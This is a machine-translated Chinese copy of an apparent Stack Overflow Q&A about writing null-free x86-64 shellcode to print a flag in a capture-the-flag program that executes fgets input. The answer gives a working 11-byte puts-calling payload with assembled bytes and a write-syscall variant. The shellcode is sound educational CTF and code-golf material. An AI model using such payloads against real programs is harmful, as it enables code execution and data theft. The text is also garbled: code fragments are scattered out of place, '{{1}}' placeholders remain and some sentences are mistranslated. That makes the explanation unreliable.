问题描述
背景:我是初学者,试图了解如何组装高尔夫,尤其是解决在线挑战。
编辑:澄清:我想在 RDX 的内存地址打印值。所以“超级秘密!”
创建一些可以RDX值的shellcode。不允许使用空字节。
程序是用 c
标准库编译的,所以我可以访问 puts
/ printf
语句。它在 x86 amd64 上运行。
$rax : 0x0000000000010000 → 0x0000000ac343db31
$rdx : 0x0000555555559480 → "SUPER SECRET!"
gef➤ info address puts
Symbol "puts" is at 0x7ffff7e3c5a0 in a file compiled without debugging.
gef➤ info address printf
Symbol "printf" is at 0x7ffff7e19e10 in a file compiled without debugging.
这是我的尝试(英特尔语法)
xor ebx,ebx ; zero the ebx register
inc ebx ; set the ebx register to 1 (STDOUT
xchg ecx,edx ; set the ECX register to RDX
mov edx,0xff ; set the length to 255
mov eax,0x4 ; set the syscall to print
int 0x80 ; interrupt
我的尝试是 17
字节并且包括空字节,这是不允许的。还有什么其他方法可以降低字节数?有没有办法在仍然节省字节的同时调用 puts
/ printf
?
详细信息:
我不太确定哪些信息是有用的,哪些不是。
文件详情:
ELF 64-bit LSB shared object,x86-64,version 1 (SYSV),dynamically linked,interpreter /lib64/ld-linux-x86-64.so.2,for GNU/Linux 3.2.0,BuildID[sha1]=5810a6deb6546900ba259a5fef69e1415501b0e6,not stripped
源代码:
void main() {
char* flag = get_flag(); // I don't get access to the function details
char* shellcode = (char*) mmap((void*) 0x1337,12,MAP_PRIVATE | MAP_ANONYMOUS,-1,0);
mprotect(shellcode,PROT_READ | PROT_WRITE | PROT_EXEC);
fgets(shellcode,stdin);
((void (*)(char*))shellcode)(flag);
}
main 的反汇编:
gef➤ disass main
Dump of assembler code for function main:
0x00005555555551de <+0>: push rbp
0x00005555555551df <+1>: mov rbp,rsp
=> 0x00005555555551e2 <+4>: sub rsp,0x10
0x00005555555551e6 <+8>: mov eax,0x0
0x00005555555551eb <+13>: call 0x555555555185 <get_flag>
0x00005555555551f0 <+18>: mov QWORD PTR [rbp-0x8],rax
0x00005555555551f4 <+22>: mov r9d,0x0
0x00005555555551fa <+28>: mov r8d,0xffffffff
0x0000555555555200 <+34>: mov ecx,0x22
0x0000555555555205 <+39>: mov edx,0x0
0x000055555555520a <+44>: mov esi,0xc
0x000055555555520f <+49>: mov edi,0x1337
0x0000555555555214 <+54>: call 0x555555555030 <mmap@plt>
0x0000555555555219 <+59>: mov QWORD PTR [rbp-0x10],rax
0x000055555555521d <+63>: mov rax,QWORD PTR [rbp-0x10]
0x0000555555555221 <+67>: mov edx,0x7
0x0000555555555226 <+72>: mov esi,0xc
0x000055555555522b <+77>: mov rdi,rax
0x000055555555522e <+80>: call 0x555555555060 <mprotect@plt>
0x0000555555555233 <+85>: mov rdx,QWORD PTR [rip+0x2e26] # 0x555555558060 <stdin@@GLIBC_2.2.5>
0x000055555555523a <+92>: mov rax,QWORD PTR [rbp-0x10]
0x000055555555523e <+96>: mov esi,0xc
0x0000555555555243 <+101>: mov rdi,rax
0x0000555555555246 <+104>: call 0x555555555040 <fgets@plt>
0x000055555555524b <+109>: mov rax,QWORD PTR [rbp-0x10]
0x000055555555524f <+113>: mov rdx,QWORD PTR [rbp-0x8]
0x0000555555555253 <+117>: mov rdi,rdx
0x0000555555555256 <+120>: call rax
0x0000555555555258 <+122>: nop
0x0000555555555259 <+123>: leave
0x000055555555525a <+124>: ret
在 shellcode 执行前注册状态:
$rax : 0x0000000000010000 → "EXPLOIT\n"
$rbx : 0x0000555555555260 → <__libc_csu_init+0> push r15
$rcx : 0x000055555555a4e8 → 0x0000000000000000
$rdx : 0x0000555555559480 → "SUPER SECRET!"
$rsp : 0x00007fffffffd940 → 0x0000000000010000 → "EXPLOIT\n"
$rbp : 0x00007fffffffd950 → 0x0000000000000000
$rsi : 0x4f4c5058
$rdi : 0x00007ffff7fa34d0 → 0x0000000000000000
$rip : 0x0000555555555253 → <main+117> mov rdi,rdx
$r8 : 0x0000000000010000 → "EXPLOIT\n"
$r9 : 0x7c
$r10 : 0x000055555555448f → "mprotect"
$r11 : 0x246
$r12 : 0x00005555555550a0 → <_start+0> xor ebp,ebp
$r13 : 0x00007fffffffda40 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
(这个寄存器状态是下面流水线上的快照)
●→ 0x555555555253 <main+117> mov rdi,rdx
0x555555555256 <main+120> call rax
解决方法
既然我已经撒了豆子,并且在评论中“破坏”了在线挑战的答案,我不妨把它写下来。 2 个关键技巧:
-
在带有
0x7ffff7e3c5a0
的寄存器中创建&puts
(lea reg,[reg + disp32]
),使用在 +-2^ 范围内的已知 RDI 值disp32 的 31 范围。 (或使用 RBP 作为起点,但不使用 RSP:寻址模式中的 would need a SIB byte)。这是
lea edi,[rax+1]
技巧的 the code-golf trick 的概括,从其他小常量(尤其是 0)在 3 个字节中创建小常量,代码运行速度低于push imm8
/ { {1}}。disp32 足够大,没有任何零字节;您有几个寄存器可供选择,以防其中一个太接近。
-
Copy a 64-bit register in 2 bytes 与
pop reg
/push reg
,而不是 3 字节pop reg
(REX + opcode + modrm)。如果任一推送都需要 REX 前缀(对于 R8..R15),则不会节省,如果两者都是“非遗留”寄存器,则实际上会消耗字节。
有关更多信息,请参阅 codegolf.SE 上 Tips for golfing in x86/x64 machine code 上的其他答案。
mov rdi,rdx
这正好是 11 个字节,我认为没有办法让它更小。 bits 64
lea rsi,[rdi - 0x166f30]
;; add rbp,imm32 ; alternative,but that would mess up a call-preserved register so we might crash on return.
push rdx
pop rdi ; copy RDX to first arg,x86-64 SysV calling convention
jmp rsi ; tailcall puts
也是 7 个字节,与 LEA 相同。 (如果寄存器是 RAX,则为 6 个字节,但即使是 add r64,imm32
短格式也需要花费 2 个字节才能到达那里,并且 RAX 值仍然是 fgets 返回值,即小的 mmap 缓冲区地址。)
xchg rax,rdi
函数指针不适合 32 位,因此我们需要在任何将其放入寄存器的指令上使用 REX 前缀。否则,我们可以只使用绝对地址 puts
(5 个字节),而不是从另一个寄存器派生它。
mov reg,imm32
我构建的不完整的 $ nasm -fbin -o exploit.bin -l /dev/stdout exploit.asm
1 bits 64
2 00000000 488DB7D090E9FF lea rsi,[rdi - 0x166f30]
3 ;; add rbp,imm32 ; we can avoid messing up any call-preserved registers
4 00000007 52 push rdx
5 00000008 5F pop rdi ; copy to first arg
6 00000009 FFE6 jmp rsi ; tailcall
$ ll exploit.bin
-rw-r--r-- 1 peter peter 11 Apr 24 04:09 exploit.bin
$ ./a.out < exploit.bin # would work if the addresses in my build matched yours
在我的机器上使用了不同的地址,但它确实到达了这个代码(在地址 .c
、mmap_min_addr
处,这是在有趣的 {{ 1}} 作为提示地址,它甚至不是页面对齐的,但在当前 Linux 上不会导致 EIVAL。)
由于我们只使用正确的堆栈对齐对 0x10000
进行尾调用并且不修改任何保留调用的寄存器,因此这应该会成功返回到 0x1337
。
注意 puts
字节(ASCII NUL,不是 NULL)实际上可以在这个测试程序的 shellcode 中工作,如果不是因为禁止它的要求。
使用 main
读取输入(显然是为了模拟 0
溢出)。
fgets
实际上可以读取gets()
又名fgets
;唯一的关键字符是 0
又名 '\0'
换行符。见Is it possible to read null characters correctly using fgets or gets_s?
通常缓冲区溢出利用 0xa
或其他在 '\n'
字节处停止的东西,但 strcpy
仅在 EOF 或换行符处停止。 (或者缓冲区大小,缺少一个特性 0
,因此它甚至从 ISO C 标准库中被弃用和删除!除非您控制输入数据,否则实际上不可能安全使用)。所以是的,禁止零字节是完全正常的。
顺便说一句,您的 fgets
尝试不可行:What happens if you use the 32-bit int 0x80 Linux ABI in 64-bit code? - 您不能使用 32 位 ABI 将 64 位指针传递给 gets
,以及您想要的字符串输出不在虚拟地址空间的低32位。
当然,对于 64 位 int 0x80
ABI,如果您可以对长度进行硬编码,那就没问题了。
write
但这是 12 个字节,并且对字符串的长度进行了硬编码(这应该是秘密的一部分?)。
syscall
可以确保长度至少为 255,在这种情况下实际上更多,如果你不介意在你想要的字符串后面得到大量的垃圾,直到写入命中未映射的页面并提前返回。 这将节省一个字节,使其成为 11。
(有趣的事实是,Linux push rdx
pop rsi
shr eax,16 ; fun 3-byte way to turn 0x10000` into `1`,__NR_write 64-bit,instead of just push 1 / pop
mov edi,eax ; STDOUT_FD = __NR_write
lea edx,[rax + 13 - 1] ; 3 bytes. RDX = 13 = string length
; or mov dl,0xff ; 2 bytes leaving garbage in rest of RDX
syscall
在成功写入一些字节时不会返回错误;而是返回它确实写入的字节数。如果您再次尝试使用 {{1} },你会得到一个 mov dl,0xff
返回值来传递一个错误的指针来写入。)